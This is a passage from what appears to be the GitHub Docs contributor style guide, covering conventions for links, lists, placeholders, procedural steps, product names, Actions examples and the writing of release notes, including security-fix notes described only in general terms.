COPYRIGHT-HOLDER - -Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -``` - -````` - -## Linebreaks - -For plain text, use linebreaks to separate paragraphs in the source (two consecutive linebreaks), rather than to create visual space in the source. Avoid unneeded linebreaks, especially in lists. - -## Links - -Links are used to connect people to additional information and to progress through tasks that require reading multiple articles. - -**Be frugal with links.** Including too many links can distract from the main content or steal people's focus. All links should be considered in the context of the user journey: why might we send someone to this link and how do we get them back on track to complete their task? - -Before adding a link, decide if someone must visit the link to understand the content or be successful using {% data variables.product.prodname_dotcom %}. - -* If the link is not necessary, remove it. -* If the link relates to the main topic of an article and lets someone continue learning, but isn't necessary to complete the task, consider moving the link to the end of the article as further reading. -* If the link takes someone to the next step in a process, include the link in a next steps section at the end of the article. -* If the link provides information that can be critical to completing a task or troubleshooting a step, include the link in the main body of the article. - -Links must be consistent, accessible to as many people as possible, translatable, and clear. People need to know where a link leads to and how it relates to what they want to accomplish. - -Some best practices for using links: -* Links should be meaningful and provide high value to the user’s journey. Link out thoughtfully. -* Do not repeat the same link more than once in the same article. -* Consider adding "earlier/later in this article" after a link to a section in the same article. -* Do not include the `apiVersion` query parameter in REST links unless you need to link to a specific calendar version of the REST docs. (This should be a rare occurrence.) - -### Formatting links - -You can introduce links with just the verb "see" if the context makes it clear what the link is for. If the context is not clear, use a phrase or sentence to introduce the link such as "For more information, see" or "To learn more about X, see Y." - -Use the title of the documentation article, or external web page, as the link text. For any link that points to another article on the {% data variables.product.prodname_docs %} site, use the special keyword `AUTOTITLE` for the link text. See details in the [content markup reference](https://github.com/github/docs/blob/main/contributing/content-markup-reference.md#internal-links-with-autotitle). - -Do not apply any styling to links or wrap them in quotation marks. - -* For links to other pages: `See [AUTOTITLE](/PATH/TO/PAGE).` -* For links to sections in other pages: `For more information, see [AUTOTITLE](/PATH/TO/PAGE#SECTION-LINK).` - -Do not use inline links, where words within the sentence are hyperlinked without any additional words to indicate that the sentence contains a link. This can be difficult to translate and read. - -Do not include punctuation marks within a hyperlink. - -* **Use:** `OAuth2 tokens can be acquired programmatically for applications that are not websites. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-user-access-token-for-a-github-app) and [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/authorizing-oauth-apps).` -* **Avoid:** `Read [more about OAuth2](/apps/building-integrations/setting-up-and-registering-oauth-apps/). Note that OAuth2 tokens can be [acquired programmatically](/enterprise-server@2.22/rest/reference/oauth-authorizations/#create-a-new-authorization), for applications that are not websites.` - -### Links between versions - -Sometimes, you need to link from one version of {% data variables.product.prodname_docs %} to another. When you want to link to a different version of the _same_ page, you should use the `currentArticle` property. - -For example, the Free, Pro, & Team version of [AUTOTITLE](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization) might link to the {% data variables.product.prodname_ghe_cloud %} version of the same article like this: - -```text -You can choose to allow or disallow the publication of GitHub Pages sites. - -{% raw %}Organizations that use {% data variables.product.prodname_ghe_cloud %} can choose to allow publicly published sites, privately published sites, both, or neither. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/{{ currentArticle }}).{% endraw %} -``` - -To link to a different article in a different version, use this format: - -```markdown -For more information, see [ARTICLE TITLE](/) in the VERSION documentation. -``` - -To link to the same article in a different version, use this format: - -```markdown -{% raw %}For more information, see [the VERSION documentation](/VERSION/{{ currentArticle }}).{% endraw %} -``` - -To link to a specific version, you must include the version in the path (e.g., `{% raw %}/enterprise-cloud@latest/{{ currentArticle }}{% endraw %}`). - -### Links to specific sections of articles - -Links to specific sections of articles must be descriptive enough that someone understands that they are in the correct spot after following a link. - -To link to a specific header in the same article, use this format: - -```markdown -For more information, see [HEADER TITLE](#HEADER-TITLE), later in this article. -``` - -Same-page section links do **not** work with `AUTOTITLE`. Instead, you must type out the full header text. - -To link to a specific header in a different article, use this format: - -```markdown -For more information, see [AUTOTITLE](PATH-TO-ARTICLE#HEADER-TITLE). -``` - -To link to two or more specific headers in a different article, use this format: - -```markdown -For more information, see [HEADER-TITLE-1](PATH-TO-ARTICLE#SECTION-LINK-1) and [HEADER-TITLE-2](PATH-TO-ARTICLE#SECTION-LINK-2) in "ARTICLE-TITLE." -``` - -### Links to a specific tool - -If you link to content with a specific tool selected, make sure that it is clear that the link will be for a specific tool even if someone doesn't interact with the tool switcher tab in the article. - -```markdown -For more information, see the TOOLNAME documentation in [ARTICLE TITLE](/PATH/TO/ARTICLE?tool=TOOLNAME). -``` - -### Links to learning paths - -Use this format to link to a learning path. - -```markdown -For more information, follow the [LEARNING PATH TITLE](/) learning path. -``` - -### Links to external resources - -When linking to an external site, choose the most useful resource for the context of the link. You can link to a whole site if it's a general reference or to a specific page if that would be more helpful. - -It's not necessary to link to an external product’s website when we mention an external product. - -For links to an external page (any website that isn't managed by {% data variables.product.prodname_dotcom %}), type out the full page title and destination site. Do not put the link in quotation marks. - -* **Use:** `See [PAGE-TITLE](https://some-docs.com/PATH/TO/PAGE) in the XYZ documentation.` -* **Avoid:** `See [PAGE-TITLE](https://some-docs.com/PATH/TO/PAGE).` -* **Avoid:** `See [the OTHER WEBSITE](https://some-docs.com/PATH/TO/PAGE).` - -### Adding anchors to preserve links - -If you know that there are links to a specific section of an article, you can add an anchor to the section to preserve the link. For example, if an external resource links to a specific section of an article, you could add an anchor so that the link directs to the correct section even if the section title changes. - -Use this format for link anchors. The anchor name should be the section name that is being preserved. Use an HTML comment to explain why you are adding the anchor. - -```markdown -<!-- Anchor to maintain the current example link. --> -<a name="SECTION-TITLE-THAT-MIGHT-CHANGE"></a> -``` - -## Lists - -Capitalize the first letter in each line of a list. Use periods at the end of lines in a list only if the line contains a complete sentence. - -When writing a list of items that consist of primary and secondary text, such as a `term` and its definition, use a colon delimiter. The secondary text should be capitalized as if it was the beginning of the line. For example: - -* `foo`: Something that provides bar. -* `bar`: Something provided by foo. - -Formatting unordered lists: - -* If the order of items in the list is not important, alphabetize the list items. -* If the order is important, then order the list by the importance to the reader (for example, moving from broadest audience and applicability to a more specialized audience). -* Use asterisks (`*`) for list items. - -When introducing a list, avoid short, nonspecific sentences using terms like “the following” or “these”, which are difficult to localize without context. Instead, create a descriptive sentence that clearly conveys the subject of the list, yet allows the list to scale or change without having to update the description. - -**Use:** -* For an introduction to {% data variables.product.prodname_dotcom %}, see the following articles: -* SMS authentication is supported in these countries: - -**Avoid:** -* There are several articles that provide an introduction to {% data variables.product.prodname_dotcom %}. See the following: -* SMS authentication is supported in 50 countries. These include: - -## Permission statements and product callouts - -Use permission statements and product callouts to communicate tasks that require specific roles or products to complete. - -* [**Permissions statements**](/contributing/style-guide-and-content-model/contents-of-a-github-docs-article#permissions-statements): The role required to take an action or do a task described in the article. Example: "Enterprise owners." -* [**Product callout**](/contributing/style-guide-and-content-model/contents-of-a-github-docs-article#product-callout): The product or products required to take an action or do a task described in the article. Example: "Organization and enterprise accounts with a subscription to {% data variables.product.prodname_copilot_business_short %}." - -Together, permission statements and product callouts tell readers who can use the feature being described in an article. - -### Guidelines for creating scannable product callouts - -#### Define permissions versus product requirements - -Consider what information belongs in a permission statement or a product callout. - -For example, when creating permissions and product callouts for the article [AUTOTITLE](/free-pro-team@latest/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-github-copilot-features-in-your-organization/managing-policies-for-copilot-in-your-organization), the permission statement would answer "What role can manage policies and features for {% data variables.product.prodname_copilot %} in an organization?" And the product callout would answer "What {% data variables.product.prodname_copilot_short %} subscriptions do users need to manage {% data variables.product.prodname_copilot_short %} policies and features for an organization?" - -#### Focus on key information, not explanations - -Permission statements and product callouts need to communicate who can perform a task and what product is required. They do not need to explain why a role or product is required. - -If multiple roles or products apply to a permission statement or product callout, format them using an unordered list. You can introduce complex permission statements and product callouts with a sentence, but always try to use as few words as necessary to communicate who can do what the article is about. - -#### Use inline links - -You can use inline links to provide more information about a role or product. The linked text must match the link destination so that it is clear where following the link will lead to. - -## Placeholders - -Style any placeholder text in all caps. If a placeholder is multiple words, connect the words with dashes (kebab-case). If you use a placeholder, explain what someone might replace it with. This helps people modify examples to fit their needs and helps identify placeholders for people who use assistive technology. - -**Use:** -* In the following example, replace YOUR-REPOSITORY with the name of your repository. `git init YOUR-REPOSITORY` -* Click **Add USERNAME.** Where USERNAME is the username of the person you want to add. - -**Avoid:** -* `git init your repository` -* `git init <your-repository>` -* Click **Add _username_.** - -## Procedural steps - -Procedures give readers a set of sequential steps to follow to complete a task. Always use numbered lists for procedures. Give readers all of the prerequisites or conceptual information they’ll need to complete the task before the procedure, rather than including it within a specific step. - -Each step must include an action. You can also choose to include whether a step is optional, explain the reason or result of the step, and orient the reader by describing the location of the action, before guiding them to complete the action. - -Use a consistent order to present information within each step. -1. If the step is optional, indicate that first. -1. When needed for clarity, or to reinforce the severity of a destructive or confusing action, explain the reason for or result of the step. -1. Describe the location the user will find the action in. -1. Action. - -**Use:** Optionally, to `REASON`, in `LOCATION`, take `ACTION`. - -Examples: -* Click **Payment information**. -* Under your organization name, click **Settings**. -* To confirm your change, click **Remove credit card**. -* Optionally, to see your plan’s details, click **Show details**. -* Under "{% data variables.product.prodname_sponsors %}", to the right of the sponsored open source contributor, click {% octicon "triangle-down" aria-label="More options" %} next to your sponsored amount, then click **Change tier**. - -## Product names - -Use full product names. Do not abbreviate or shorten product names unless directly reproducing content from the product (e.g. UI copy or API responses). Product names are never possessive. - -Use product name variables to render product names—do not write product names in plain text. This makes product name changes easier to implement across the site and avoids typos in our product names. For more information about product name variables, see “[Reusables and variables](#reusables-and-variables)” in this document and the [data directory](https://github.com/github/docs/tree/main/data) of the [`github/docs`](https://github.com/github/docs) repository. - -Product names are always singular. -* **Use:** {% data variables.product.prodname_actions %} helps you automate your software development workflows. -* **Avoid:** {% data variables.product.prodname_actions %} help you automate your software development workflows. - -Take care to distinguish between product names and product features. Product features are always lowercase. - -| Product | Feature | -| --- | --- | -| {% data variables.product.prodname_actions %} | an action | -| {% data variables.product.prodname_github_codespaces %} | a codespace | -| {% data variables.product.prodname_registry %} | a package | -| {% data variables.product.prodname_pages %} | a GitHub Pages site | - -Do not capitalize commonly used features like pull requests, topics, or issues. - -## Product-specific conventions - -This section describes additional conventions that are specific to GitHub products. - -### {% data variables.product.prodname_actions %} - -#### Reusables for first-party actions - -Code examples that use first-party actions must use the respective reusable for that action. This makes action version updates (e.g. from `v1` to `v2`) easier to manage for products like {% data variables.product.prodname_ghe_server %}, which might not have the same action version available until a future {% data variables.product.prodname_ghe_server %} release. - -Actions reusables are located in `/data/reusables/actions/` and have a file name like `action-<action_name>.md` - -For example, to use the `actions/checkout` action in an example, use its reusable: - -```yaml -steps: - - name: Checkout - uses: {% data reusables.actions.action-checkout %} -``` - -For {% data variables.product.prodname_docs %} purposes, a first-party action is any action that has the `actions/`, `github/` or `octo-org/` prefix. For example, this is a first-party action: - -```yaml -steps: - - uses: {% data reusables.actions.action-checkout %} -``` - -#### Disclaimers for third-party actions - -Code examples that use third-party actions must include the following disclaimer as part of the code block: - -```yaml -# This workflow uses actions that are not certified by {% data variables.product.company_short %}. -# They are provided by a third-party and are governed by -# separate terms of service, privacy policy, and support -# documentation. -``` - -To insert this disclaimer, use the `{% raw %}{% data reusables.actions.actions-not-certified-by-github-comment %}{% endraw %}` reusable. - -For {% data variables.product.prodname_docs %} purposes, a third-party action is any action that doesn't have the `actions/`, `github/` or `octo-org/` prefix. For example, this is a first-party action: - -```yaml -steps: - - uses: actions/checkout@main -``` - -This is an example of a third-party action: - -```yaml -steps: - - uses: google-github-actions/setup-gcloud@1bee7de035d65ec5da40a31f8589e240eba8fde5 -``` - -Examples: -* See the code block in [Publishing to package registries](/actions/guides/building-and-testing-python#publishing-to-package-registries) - -#### Pinning version numbers to SHA - -Code examples that use third-party actions must always pin to a full length commit SHA, instead of the version number or branch: - -```yaml -steps: - - uses: google-github-actions/setup-gcloud@1bee7de035d65ec5da40a31f8589e240eba8fde5 -``` - -For {% data variables.product.prodname_docs %} purposes, a third-party action is any action that doesn't have one of the following prefixes: `actions/`, `github/`, and `octo-org/`. For example, this is a first-party action: - -```yaml -steps: - - uses: actions/javascript-action@main -``` - -For more information, see [Using SHAs](/actions/learn-github-actions/finding-and-customizing-actions#using-shas) - -### {% data variables.product.prodname_codespaces %} - -When referring to the product {% data variables.product.prodname_codespaces %}, always include "{% data variables.product.company_short %}", except in these circumstances: -* In the `shortTitle` front matter. -* In subheadings within an article, if "{% data variables.product.prodname_codespaces %}" has already been used anywhere in the article prior to the subheading. - -Variables: `{% raw %}{% data variables.product.prodname_github_codespaces %}{% endraw %}` ("GitHub Codespaces") and `{% raw %}{% data variables.product.prodname_codespaces %}{% endraw %}` ("Codespaces"). - -When referring to instances of remote working environments created with this technology, refer to these as "codespaces" (lowercase c). For example, "to delete your codespace" or "to list your codespaces." - -Always use "dev container" (or, where clarification is needed, its longer form "development container") and not "devcontainer" (one word), except in file/path names. The single word could form could be considered a brand, which we want to avoid, and we also want to be consistent with the two-word form used in [the {% data variables.product.prodname_vscode %} documentation](https://code.visualstudio.com/docs/remote/create-dev-container#_path-to-creating-a-dev-container). - -Use "development container configuration files" to refer to all of the files in the `.devcontainer` directory (plus the `.devcontainer.json` if that's being used rather than `devcontainer.json` in the `.devcontainer` directory). Don't refer to these as "development container files" or "devcontainer files" to avoid this being taken as referring to `devcontainer.json` files. "Development container configuration files" refers to all of the files that can be used to configure a dev container, including `Dockerfile` and `docker-compose.yml` files. Don't use "the development container configuration file" (singular) when referring specifically to a `devcontainer.json` file. Instead refer to this file by its name. - -### {% data variables.product.prodname_GHAS %}{% ifversion ghas-products-cloud %} products{% endif %} (GHAS) - -Use the terms `licenses` and `active committers` when you refer to {% data variables.product.prodname_GHAS %}{% ifversion ghas-products %}, {% data variables.product.prodname_GH_code_security %}, or {% data variables.product.prodname_GH_secret_protection %}{% endif %} billing. - -We used to use the term `seats` to describe the number of accounts that can use {% data variables.product.prodname_GHAS %}{% ifversion ghas-products %}, {% data variables.product.prodname_GH_code_security %}, or {% data variables.product.prodname_GH_secret_protection %}{% endif %} in an enterprise. People can be confused by the term `seats`, so we removed this term from GitHub.com in autumn 2022 and versions from GHES 3.7 onward do not use it. - -### {% data variables.product.pat_generic_caps_plural %} - -{% data variables.product.company_short %} has two types of {% data variables.product.pat_generic_plural %}: - -* {% data variables.product.pat_v2_caps %}s: Offer granular control over repository access and permissions -* {% data variables.product.pat_v1_caps %}: Use scopes and grant access to all repositories that the token owner can access - -You should use variables to refer to these types of tokens, as well as to {% data variables.product.pat_generic_plural %} in general: - -* Use `{% raw %}{% data variables.product.pat_generic %}{% endraw %}`or `{% raw %}{% data variables.product.pat_generic_caps %}{% endraw %}` to refer to {% data variables.product.pat_generic %} in general. Use `{% raw %}{% data variables.product.pat_generic_title_case %}{% endraw %}` if the phrase should be in title case ("{% data variables.product.pat_generic_title_case %}") in order to match UI text. -* Use `{% raw %}{% data variables.product.pat_v2 %}{% endraw %}` or `{% raw %}{% data variables.product.pat_v2_caps %}{% endraw %}` to refer to {% data variables.product.pat_v2 %}s. -* Use `{% raw %}{% data variables.product.pat_v1 %}{% endraw %}`, `{% raw %}{% data variables.product.pat_v1_plural %}{% endraw %}`, `{% raw %}{% data variables.product.pat_v1_caps %}{% endraw %}`, or `{% raw %}{% data variables.product.pat_v1_caps_plural %}{% endraw %}` to refer to {% data variables.product.pat_v1 %}. - -For more information about {% data variables.product.prodname_dotcom %}'s {% data variables.product.pat_generic_plural %}, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token#about-personal-access-tokens). - -## Punctuation - -Follow standard American English punctuation rules. For more guidance, see “[Punctuation](https://docs.microsoft.com/style-guide/punctuation)” in the Microsoft Style Guide. - -## Release notes - -A set of release notes on {% data variables.product.prodname_docs %} tell readers about administrator- or user-facing changes to a versioned release of a product like {% data variables.product.prodname_ghe_server %} (GHES). Release notes appear in the [AUTOTITLE](/enterprise-server@latest/admin/release-notes). - -A good release note is a few sentences that sequentially answer the reader's questions about the change. For more information, see [AUTOTITLE](/contributing/style-guide-and-content-model/release-note-content-type). - -Each release note in a set describes one of the following changes. - -* [Features](#features): brand-new behavior or functionality -* [Security fixes](#security-fixes): fixes to flaws or unexpected behavior that have security implications -* [Bug fixes](#bug-fixes): fixes to flaws or unexpected behavior -* [Changes](#changes): notable changes to past behavior -* [Known issues](#known-issues): issues that {% data variables.product.company_short %} has identified, but cannot or has not yet prioritized -{%- ifversion ghes < 3.16 %} -* [Deprecations](#deprecations): removal of a feature or behavior -{%- else %} -* [Closing down](#closing-down): the process of being retired and should no longer be relied upon for future work -* [Retired](#retired): end of a product or feature lifecycle -{%- endif %} -* [Errata](#errata): correction to inaccurate release note or documentation - -You can also review guidelines for updating release notes in [Adding or updating a release note](#adding-or-updating-a-release-note) and [Removing a release note](#removing-a-release-note). - -### Features - -A release note for a feature summarizes brand-new behavior. Generally, notes for features are only part of feature releases. - -#### Writing release notes for features - -A release note for a feature answers the following questions. - -1. Does this new functionality apply to me, with my role or access? -1. What need does the functionality satisfy? -1. What is the functionality? -1. If applicable, where can I read more about the functionality? - -> _AUDIENCE_ (**1**) can _DESCRIPTION OF NEED_ (**2**) by _DESCRIPTION OF FEATURE'S USE_ (**3**). For more information, see [_ARTICLE TITLE_](/) (**4**) - -* Categorize each feature in a section, under a feature heading. -* Write in the present tense. -* To reduce repetition and unnecessary words, "now" is usually implied. -* To clarify actors and impact, avoid passive language when possible. - -#### Examples of feature release notes - -* > Site administrators can increase the security of the Management Console by configuring the rate limit for sign-in attempts, as well as the lockout duration after exceeding the rate limit. For more information, see [Configuring rate limits](/enterprise-server@3.7/admin/configuration/configuring-your-enterprise/configuring-rate-limits#configuring-rate-limits-for-authentication-to-the-management-console). - -* > Enterprise owners can control where users can fork repositories. Forking can be limited to preset combinations of organizations, the same organization as the parent repository, user accounts, or everywhere. For more information, see [Enforcing repository management policies in your enterprise](/enterprise-server@3.7/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-forking-private-or-internal-repositories). - -* > Users can create files with geoJSON, topoJSON, and STL diagrams and render the diagrams in the web interface. For more information, see [Working with non-code files](/enterprise-server@3.7/repositories/working-with-files/using-files/working-with-non-code-files). - -### Security fixes - -A release note for a security fix summarizes a change that mitigates or prevents exploitation of a security-related issue in the product. Generally, notes for security fixes are only part of patch releases. - -#### Writing release notes for security fixes - -A release note for a security fix answers the following questions. - -1. If available, what is the [NVD vulnerability severity rating](https://nvd.nist.gov/vuln-metrics/cvss) for the vulnerability that's fixed? -1. What is the attack that an attacker could accomplish by exploiting the vulnerability? -1. What type of vulnerability is exploitable? -1. If available, what is the vulnerability's [CVE identifier](https://cve.mitre.org/cve/identifiers/), pending or active? -1. Did someone report the vulnerability via the [GitHub Bug Bounty program](https://bounty.github.com)? - -> _SEVERITY_ (**1**): An attacker could _DESCRIPTION OF IMPACT_ (**2**) by _DESCRIPTION OF EXPLOIT_ (**3**). GitHub has requested CVE ID [_CVE-####-#####_](/) (**4**) for this vulnerability, which was reported via the [GitHub Bug Bounty program](https://bounty.github.com) (**5**). - -#### Examples of release notes for security fixes - -* > **MEDIUM:** An attacker could cause unbounded resource exhaustion on the instance by making parallel requests to the Markdown REST API. To mitigate this issue, {% data variables.product.company_short %} has updated [CommonMarker](https://github.com/gjtorikian/commonmarker). {% data variables.product.company_short %} has requested CVE ID [CVE-2022-39209](https://nvd.nist.gov/vuln/detail/CVE-2022-39209) for this vulnerability. - -* > **MEDIUM:** An attacker could embed dangerous links in the instance's web UI because pull request preview links did not properly sanitize URLs. This vulnerability was reported via the [{% data variables.product.company_short %} Bug Bounty program](https://bounty.github.com). - -#### Base image and package updates - -We also include base image and dependent package updates in the "Security fixes" section, since these updates often address security issues. We consolidate all of these updates in the following note. - -> Packages have been updated to the latest security versions. - -### Bug fixes - -A release note for a bug fix describes a correction to an undesired or otherwise unexpected behavior. Generally, notes for bug fixes are only part of patch releases. - -#### Writing release notes for bug fixes - -A release note for a bug fix answers the following questions. - -1. Did the behavior affect me, with my role or access? -1. What behavior would the reader experience prior to the fix? - -> _AUDIENCE_ (**1**) _DESCRIPTION OF BEHAVIOR_ (**2**). - -* Because the bug is now fixed, write in the past tense. -* Language like "fixed a bug…" or "fixed an issue…" is implied and unnecessary. -* To reduce repetition and unnecessary words, "now" is usually implied. -* To clarify actors and impact, avoid passive language when possible. -* If the release note includes an error message, format the message according to the guidance in [Error messages](#error-messages). - -#### Examples of release notes for bug fixes - -* > After a user imported a repository with push protection enabled, the repository was not immediately visible in the security overview's "Security Coverage" view. - -* > On an instance with {% data variables.product.prodname_actions %} enabled, a workflow job for {% data variables.product.prodname_actions %} would not start if a matching runner group was unavailable when the job was initially queued, even if a matching runner group became available after the job entered the queue. - -* > Commands that site administrators ran via SSH on any of the instances nodes were not logged in ``/var/log/ssh-console-audit.log``. - -### Changes - -A release note for a change describes a notable, but minor change to existing behavior. Notes for changes answer the following questions. - -#### Writing release notes for changes - -A release note for a change answers the following questions. - -1. Did the behavior affect me, with my role or access? -1. If the change solves or avoids a problem, what's that problem? -1. What's the new behavior? -1. If relevant, what was the behavior before the change? - -> _AUDIENCE_ (**1**) / _DESCRIPTION OF PROBLEM CHANGE SOLVES_ (**2**) _DESCRIPTION OF NEW BEHAVIOR_ (**3**) _DESCRIPTION OF OLD BEHAVIOR_ (**4**). - -* Because the change applies to the release in question, write notes for changes in the present tense. -* To reduce repetition and unnecessary words, "now" is usually implied. -* To clarify actors and impact, avoid passive language when possible. -* Often, the audience is implied. -* If useful, include relevant links to GitHub Docs. - -#### Examples of release notes for changes - -* > On an instance with a license for {% data variables.product.prodname_GHAS %}{% ifversion ghas-products %} or {% data variables.product.prodname_GH_secret_protection %}{% endif %}, users who author custom patterns for secret scanning can provide expressions that must or must not match that are up to 2,000 characters. This limit is an increase from 1,000 characters. - -* > For administrators who need to review or modify SAML mappings, the default path for output from `ghe-saml-mapping-csv -d` is `/data/user/tmp` instead of `/tmp`. For more information, see [Command-line utilities](/enterprise-server@3.8/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-saml-mapping-csv). - -* > To avoid intermittent issues with the success of Git operations on an instance with multiple nodes, {% data variables.product.prodname_ghe_server %} checks the status of the MySQL container before attempting a SQL query. The timeout duration has also been reduced. - -### Known issues - -A release note for a known issue describes an issue that GitHub has identified, but cannot or has not yet prioritized. - -#### Writing release notes for known issues - -A release note for a known issue answers the following questions. - -1. Does the behavior affect me, with my role or access? -1. What are any error messages or other recognizable UI elements that appear? -1. Do I need to act? If so, what should I do? - -> _AUDIENCE_ (**1**) _DESCRIPTION OF ISSUE_ (**2**) _DETAILS OF BEHAVIOR_ (**3**) _NEXT STEPS_ (**4**). - -* To clarify actors and impact, avoid passive language when possible. -* To reduce repetition and unnecessary words, "now" is usually implied. -* If the release note includes an error message, format the message according to the guidance in [Error messages](#error-messages). -* If useful, include relevant links to GitHub Docs. -* Known issues are also a type of content on GitHub Docs. For more information, see [AUTOTITLE](/contributing/style-guide-and-content-model/troubleshooting-content-type#known-issues). If useful, write or link to more in-depth and contextually relevant content in the docs. - -#### Examples of release notes for known issues - -* > After a user enables the option for a repository to allow users with read access to create discussions, the feature is not enabled. - -* > After an administrator begins a configuration run, a `No such object error` may occur during the validation phase for the Notebook and Viewscreen services. This error can be ignored as the services should still correctly start. - -{% ifversion ghes < 3.16 %} - -### Deprecations - -A deprecation release note summarizes a behavior or feature that {% data variables.product.company_short %} has removed or plans to remove. Generally, notes for deprecations are only part of feature releases. - -#### Writing release notes for deprecations - -A release note for a deprecation answers the following questions. - -1. Does this existing functionality apply to me, with my role or access? -1. What is the functionality that's being deprecated? -1. If applicable, what replaces the deprecated functionality? -1. If applicable, where can I read more? - -> _AUDIENCE_ (**1**) _DESCRIPTION OF DEPRECATED FUNCTIONALITY_ (**2**) _REPLACEMENT FUNCTIONALITY_ (**3**) For more information, see [_ARTICLE TITLE_](/) (**4**). - -* Notes are in the present tense, or the future tense for upcoming changes. If applicable, specify the upcoming release where the deprecation will occur. -* To reduce repetition and unnecessary words, "now" is usually implied. -* To clarify actors and impact, avoid passive language when possible. -* Categorize each feature in a section, under a feature heading. - -#### Examples of release notes for deprecations - -* > **Upcoming deprecation:** In {% data variables.product.prodname_ghe_server %} 3.8 and later, to ensure instance security, unsecure algorithms will be disabled for SSH connections to the administrative shell. - -* > Commit comments, which are comments that users add directly to a commit outside of a pull request, no longer appear in the pull request timeline. Users could not reply to or resolve these comments. The Timeline events REST API and the GraphQL API's `PullRequest` object also no longer return commit comments. - -{% else %} - -### Closing down - -A release note for a feature that is closing down summarizes a behavior or feature that {% data variables.product.github %} plans to remove. These features are still available for production use and come with the associated support SLAs and technical support obligations. However, they are in the process of being retired and should no longer be relied upon for future work. Closing down is a transitional stage where users are advised to stop using the feature and prepare for its retirement. - -#### Writing release notes features that are closing down - -A release note for a feature that is closing down answers the following questions. - -1. Does this existing functionality apply to me, with my role or access? -1. What is the functionality that's closing down? -1. If applicable, what replaces the closing down functionality? -1. If applicable, where can I read more? - -> _AUDIENCE_ (**1**) _DESCRIPTION OF CLOSING DOWN FUNCTIONALITY_ (**2**) _REPLACEMENT FUNCTIONALITY_ (**3**) For more information, see [_ARTICLE TITLE_](/) (**4**). - -* Notes are in the present tense, or the future tense for upcoming changes. If applicable, specify the upcoming release when the retirement will occur. -* To reduce repetition and unnecessary words, "now" is usually implied. -* To clarify actors and impact, avoid passive language when possible. -* Categorize each feature in a section, under a feature heading. - -#### Examples of release notes for features that are closing down - -* > **Closing down:** In {% data variables.product.prodname_ghe_server %} 3.8 and later, to ensure instance security, unsecure algorithms will be disabled for SSH connections to the administrative shell. - -* > Commit comments, which are comments that users add directly to a commit outside of a pull request, no longer appear in the pull request timeline. Users could not reply to or resolve these comments. The Timeline events REST API and the GraphQL API's `PullRequest` object also no longer return commit comments. - -### Retired - -Retired products or features are no longer available for new customers, marketed, supported, or documented. At this stage, the product is effectively discontinued, and no new development or fixes will be provided. The only support for retired products may come from existing commitments, such as those required for previously released versions of {% data variables.product.prodname_ghe_server %}. Retiring marks the official end of a product or feature's lifecycle, with no further updates, bug fixes, or user support, signaling a complete transition to newer tools or services. - -#### Writing release notes for retired features - -A release note for a retired feature answers the following questions. - -1. Does this functionality apply to me, with my role or access? -1. What is the functionality that's retired? -1. If applicable, what replaces the retired functionality? -1. If applicable, where can I read more? - -> _AUDIENCE_ (**1**) _DESCRIPTION OF RETIRED FUNCTIONALITY_ (**2**) _REPLACEMENT FUNCTIONALITY_ (**3**) For more information, see [_ARTICLE TITLE_](/) (**4**) - -* Notes are in the present tense. -* To reduce repetition and unnecessary words, "now" is usually implied. -* To clarify actors and impact, avoid passive language when possible. -* Categorize each feature in a section, under a feature heading. - -#### Examples of release notes for retired features - -* > **Retired:** {% data variables.product.github %} no longer supports required workflows for {% data variables.product.prodname_actions %} in {% data variables.product.prodname_ghe_server %} 3.11 and later. Use repository rulesets instead. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/available-rules-for-rulesets#require-workflows-to-pass-before-merging). - -{% endif %} - -### Errata - -Errata corrects inaccurate information previously published in the release notes or documentation for a release. - -#### Writing errata - -Errata answers the following questions. - -1. If applicable, which section of the release notes or content on {% data variables.product.prodname_docs %} was affected? -1. Did the incorrect information apply to me, with my role or access? -1. What did the release note or documentation describe that was incorrect? -1. When was the errata published? - -> _CONTENT_ (**1**) incorrectly indicated that _AUDIENCE_ (**2**) can _SUMMARY OF INACCURATE INFORMATION_ (**3**). [Updated: _PUBLICATION DATE_ **4**] - -* Format the publication date according to the guidance in [Adding or updating a release note](#adding-or-updating-a-release-note). - -#### Example of errata - -* > [Features](/) incorrectly indicated that users of the {% data variables.product.prodname_advisory_database %} can see advisories for Elixir, Erlang's Hex package manager, and more. This feature is unavailable in GitHub Enterprise Server 3.7, and will be available in a future release. [Updated 2023-06-01] - -### Adding or updating a release note - -To signal to readers that you've added or changed a note, or to indicate the publication date of errata, append a datestamp in the format "[Updated: YYYY-MM-DD]". - -### Removing a release note - -To signal that we have removed a release note, add an "Errata" section detailing which note you removed and (if relevant) which version the removed note actually pertains to. See [Writing errata](#writing-errata). - -## Reusables and variables - -Use reusable strings for individual nouns (e.g. product names) or for complete sentences or paragraphs. Sentence fragments and phrases should not be contained in reusable strings as they can cause problems when content is localized. For more information, see the [data directory](https://github.com/github/docs/tree/main/data) in the [`github/docs`](https://github.com/github/docs) repository, [Creating reusable content](/contributing/writing-for-github-docs/creating-reusable-content), and the [Product names](#product-names) section of this document. - -## Sectional TOCs - -If a section of an article uses `H3` or `H4` headers to further divide the content and only some of the content is relevant to a reader, you can use a sectional table of contents (TOC) to help readers identify and navigate to the information that is most relevant 